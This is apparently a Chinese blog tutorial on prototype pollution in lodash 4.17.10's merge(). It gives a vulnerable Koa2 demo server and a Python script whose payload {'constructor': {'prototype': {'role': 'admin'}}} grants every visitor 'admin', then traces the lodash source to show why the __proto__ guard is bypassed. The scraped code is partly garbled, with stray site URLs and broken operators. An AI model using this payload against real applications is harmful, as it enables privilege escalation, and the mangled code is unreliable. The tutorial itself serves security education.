利用原型链漏洞污染拿下服务器权限

人生难得几回搏,此时不搏待何时。这篇文章主要讲述利用原型链漏洞污染拿下服务器权限相关的知识,希望能为你提供帮助。
一个平平无奇的合并函数面试的时候面试官大概率会出一个平平无奇的小问题来热热身,比如说写一个合并函数,读者估计会觉得:就这?不到30s就可以写好了一份利用递归实现的对象合并,代码如下:

function merge(target, source) { for (let key in source) { if (key in source & & key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }

然而这段代码的背后却是暗流涌动,要是深究的话,这儿还是有问题的,比如说
利用原型链漏洞污染拿下服务器权限

文章图片

这个类型错误大致原因就是,in操作后跟的数据类型并不是一个json对象。当对非json对象使用in操作符时,会出现这个错误。这个当然是由于思考不全面导致的问题,因此这段合并函数还是不能进入生产环境的,不过嘛,现在轮子这么多,我们还要重新造轮子,岂不是辜负了开源运动?不就是一个高效的合并函数嘛?比如说我们可以使用lodash,Jquery这里面都是有相关的函数来实现的,直接调用也就完事了,但问题是引用这些代码可能会带来一些不必要的安全风险。
原型链污染关于原型链的详细知识点这里就不赘述了,有兴趣的话,可以看我的另一篇文章[原型链分析](),这里简单提一下所谓原型链就是一种在javascript中,实例对象与原型之间的链接。其基本思想是利用原型让一个引用类型继承另一个引用类型的属性和方法。通过层层递进,就构成了实例与原型的链条。
原型链污染实例且看一个简单的例子
var lucky_girl = {name: \'NAUG\', age: 18}; lucky_girl.__proto__.role = \'administrator\' var amazing_girl = {} amazing_girl.role

利用原型链漏洞污染拿下服务器权限

文章图片

可以发现,给隐式原型增加了一个role的属性,并且赋值为administrator(管理员)。在实例化一个新对象amazing_girl的时候,虽然没有role属性,但是通过原型链可以读取到通过对象lucky_girl在原型链上赋值的administrator
问题就来了,__proto__指向的原型对象是可读可写的,如果通过某些操作类似于mergeclone等方法,使得黑客可以增、删、改原型链上的方法或属性,那么程序就可能会因原型链污染而受到DOS、越权等攻击
demo演示下面我讲模拟一个简单的业务场景来对其进行攻击演示,我们用js来提供后端服务,这一次是用koa2来实现的,我们期望说每一个来给我们的这个网站(业务)提交post信息(账密)的都是我们的朋友,因此都主动的为他们打上一个友好的标签nickname。如果仅仅是访问get一下而已,那就默认为所有的访客都打上visitor的标签,
const Koa = require("koa"); const bodyParser = require("koa-bodyparser"); const lodash = require("lodash"); const app = new Koa(); app.use(bodyParser()); // 合并函数 const combine = (payload = {}) => { const prefixPayload = { nickname: "friend" }; // 用法可参考:https://lodash.com/docs/4.17.15#merge lodash.merge(prefixPayload, payload); // 另外其他也存在问题的函数:merge defaultsDeep mergeWith }; app.use(async (ctx) => { // 某业务场景下,合并了用户提交的payload if(ctx.method === \'POST\') { combine(ctx.request.body); } // 某页面某处逻辑 const user = { username: "visitor", }; let welcomeText = "同学,理财基金推荐,了解一下?日入十万不是梦哦,不要手续费不要服务费,8周年店庆大酬宾!走过路过不要错过,错过别失落:)"; // 因user.role不存在,所以恒为假(false),其中代码不可能执行 if (user.role === "admin") { welcomeText = "尊敬的VIP,您来啦!"; } ctx.body = welcomeText; }); app.listen(3001, () => { console.log("Running: http://localohost:3001"); });

当一个游客用户访问网址:http://127.0.0.1:3001/ 时,页面会显示“同学,理财基金推荐,了解一下?日入十万不是梦哦,不要手续费不要服务费,8周年店庆大酬宾!走过路过不要错过,错过别失落:)”
利用原型链漏洞污染拿下服务器权限

文章图片

可以看到在代码中使用了loadsh(本案例使用4.17.10版本)的merge()函数,将用户的payloadprefixPayload做了合并。
【利用原型链漏洞污染拿下服务器权限】乍一看,似乎并没有什么问题?这个操作对于业务似乎没啥影响呀?无论用户访问什么都应该只会返回“同学,理财基金推荐,了解一下?……”这句话,程序上user.role是一个恒为为` undefined·的条件,则永远不会执行if判断体中的代码。
然而当我们使用特殊的payload来进行测试,也就是运行一下我们的attack.py脚本
利用原型链漏洞污染拿下服务器权限

文章图片

之后我们再访问http://127.0.0.1:3001/,会看到不一样的东西,
利用原型链漏洞污染拿下服务器权限

文章图片

瞬间变成了尊贵的理财的VIP对吧,可以快乐白嫖了吧?此时,无论什么用户访问这个网址,返回的网页都会是显示如上结果,人人VIP时代!大步迈进共同富裕。如果是咱写的代码在线上出现这问题,事故通报了解一下。
import requests import json req = requests.Session() target_url = \'http://127.0.0.1:3001\' headers = {\'Content-type\': \'application/json\'} payload = {"constructor": {"prototype": {"role": "admin"}}} res = req.post(target_url, data=https://www.songbingjia.com/android/json.dumps(payload),headers=headers) print(/'attack finish!\')

攻击代码中的payload:{"constructor": {"prototype": {"role": "admin"}}} 通过merge() 函数实现合并赋值,同时,由于payload设置了constructor,merge时会给原型对象增加role属性,且默认值为admin,所以访问的用户变成了“VIP”
接下来我们就来分析一下情况
loadsh中merge函数的实现一直觉得阅读源码就是一种精神马拉松,作者在可能天涯海角也有可能已然作古,但通过源码,可以与他进行精神上的交流,实现思想上的共鸣。在node_modules/lodash/merge.js中通过调用了baseMerge(object, source, srcIndex)函数可以继续定位到:node_modules/lodash/_baseMerge.js第20行的baseMerge函数
/** * The base implementation of `_.merge` without support for multiple sources. * * @private * @param {Object} object The destination object. * @param {Object} source The source object. * @param {number} srcIndex The index of `source`. * @param {Function} [customizer] The function to customize merged values. * @param {Object} [stack] Tracks traversed source values and their merged *counterparts. */ function baseMerge(object, source, srcIndex, customizer, stack) { if (object === source) { return; } baseFor(source, function(srcValue, key) { if (isObject(srcValue)) { stack || (stack = new Stack); baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack); } else { var newValue = https://www.songbingjia.com/android/customizer ? customizer(safeGet(object, key), srcValue, (key + \'\'), object, source, stack) : undefined; if (newValue =https://www.songbingjia.com/android/== undefined) { newValue = srcValue; } assignMergeValue(object, key, newValue); } }, keysIn); }

注意到到safeGet的函数:
function safeGet(object, key) { return key == \'__proto__\' ? undefined : object[key]; }

这也是为什么我们的payload为什么没使用__proto__而是使用了等同于这个属性的构造函数的prototype因为有payload是一个对象因此定位到node_modules/lodash/_baseMergeDeep.js第32行:
function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) { var objValue = https://www.songbingjia.com/android/safeGet(object, key), srcValue = safeGet(source, key), stacked = stack.get(srcValue); if (stacked) { assignMergeValue(object, key, stacked); return; } var newValue = customizer ? customizer(objValue, srcValue, (key + \'\'), object, source, stack) : undefined; var isCommon = newValue =https://www.songbingjia.com/android/== undefined; if (isCommon) { var isArr = isArray(srcValue), isBuff = !isArr & & isBuffer(srcValue), isTyped = !isArr & & !isBuff & & isTypedArray(srcValue); newValue = srcValue; if (isArr || isBuff || isTyped) { if (isArray(objValue)) { newValue = objValue; } else if (isArrayLikeObject(objValue)) { newValue = copyArray(objValue); } else if (isBuff) { isCommon = false; newValue = cloneBuffer(srcValue, true); } else if (isTyped) { isCommon = false; newValue = cloneTypedArray(srcValue, true); } else { newValue = []; } } else if (isPlainObject(srcValue) || isArguments(srcValue)) { newValue = objValue; if (isArguments(objValue)) { newValue = toPlainObject(objValue); } else if (!isObject(objValue) || (srcIndex & & isFunction(objValue))) { newValue = initCloneObject(srcValue); } } else { isCommon = false; } } if (isCommon) { // Recursively merge objects and arrays (susceptible to call stack limits). stack.set(srcValue, newValue); mergeFunc(newValue, srcValue, srcIndex, customizer, stack); stack[/'delete\'](srcValue); } assignMergeValue(object, key, newValue); }

定位函数assignMergeValuenode_modules/lodash/_assignMergeValue.js第13行
function assignMergeValue(object, key, value) { if ((value !== undefined & & !eq(object[key], value)) || (value =https://www.songbingjia.com/android/== undefined & & !(key in object))) { baseAssignValue(object, key, value); } }

再定位baseAssignValuenode_modules/lodash/_baseAssignValue.js第12行
function baseAssignValue(object, key, value) { if (key == \'__proto__\' & & defineProperty) { defineProperty(object, key, { \'configurable\': true, \'enumerable\': true, \'value\': value, \'writable\': true }); } else { object[key] = value; } }

绕过了if判断,然后进入else逻辑中,是一个简单的直接赋值操作,并未对constructorprototype进行判断,因此就有了:
prefixPayload = { nickname: "NAUG" }; lodash.merge(prefixPayload, payload); // 然后就给原型对象赋值了一个名为role,值为admin的属性

故而导致了用户会进入一个不可能进入的逻辑里,也就造成了上面出现的“越权”问题。
尾记上面演示的原型链漏洞看似威胁并不大,但实际上黑客的攻击往往是通过漏洞的组合,将一个轻危级别的漏洞,作为高危漏洞的攻击的基础,那么低危漏洞还能算是低危漏洞吗?千里之堤毁于蚁穴,我们在修补漏洞的时候,有时候会忽略对于低危的漏洞的提醒。而这更需要安全研究人员的努力,不仅要追求对高危漏洞的挖掘,还得增强对基础漏洞的探索意识。
作为开发人员,我们可以尝试下,如何借助工具快速检测程序中是否存在原型链污染漏洞,以期望加强企业程序的安全性。
原型链污染的利用难度虽然较大,但是基于其特性,所有的开源库都在npm上可以看到,如果恶意的黑客,通过批量检测开源库,并且通过搜集特征,那么他想要获取攻击目标程序的是否引用具有漏洞的开源库似乎也并非是一件困难的事情。
那么我们自己写一个脚本去Github上刷一波,也不是不行...
参考资料
  1. 继承与原型链(MDN)
  2. Prototype pollution attack (lodash)
  3. JavaScript_prototype pollution attack in NodeJS
  4. Lodash Document
  5. JS冻结对象的《人间词话》 完美实现究竟有几层?
  6. Web前端安全合规编码指导 v1.0
  7. 国家信息安全漏洞共享平台

    推荐阅读